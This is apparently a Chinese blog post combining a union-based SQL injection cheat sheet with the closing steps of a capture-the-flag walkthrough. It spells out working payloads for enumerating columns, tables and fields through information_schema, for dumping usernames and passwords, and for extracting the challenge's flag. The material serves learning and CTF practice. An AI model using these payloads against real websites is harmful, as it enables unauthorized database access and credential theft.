Union 常用函数:
– database():返回当前数据库名
– user():返回当前数据库用户
– version():返回数据库版本
– @@datadir:返回数据库数据目录路径
– a.order by 判断当前表字段个数 ,形式 order by 数字 –+ ,若有回显则说明存在,无回显则说明不存在
– b.判断显示位:
– 如果使用order by判断出来有三列,则输入?id=-1’ union select 1,2,3–+,回显为哪个数字名字就将该数字位置替换为其他语句
– c.爆当前数据库名字:
– TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别对应表所在库名,表名和字段名
– ?id=-1' union select 1,2,database() –+,database()为获取当前数据库名
– d.爆当前数据库中的表:
– ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) –+
– group_concat(table_name) 是 MySQL 中的一个聚合函数,作用是将分组查询中某一列(这里是 table_name)的多个值连接成一个字符串并返回。
– from information_schema.tables:从数据库系统表中查询,information_schema是 MySQL 等数据库中存储元数据的系统数据库
– where table_schema=database():筛选当前数据库中的表
– e.爆字段:
– ?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' )–+
– Users根据具体爆出表名可变
– f.爆数据:?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users –+
– 联合注入结束
输入-1' union select 1,2,table_name from information_schema.tables where table_schema='news'# ,得到表名为news 和 secret_table,我们猜测flag在secret_table中
7.爆字段:
-1' union select 1,2,column_name from information_schema.columns where table_schema='news' and table_name='secret_table'# 得到其中存在字段id和fl4g flag应该存在在fl4g中
8.爆数据:
-1' union select 1,id,fl4g from secret_table# 得到flag
评论前必须登录!
注册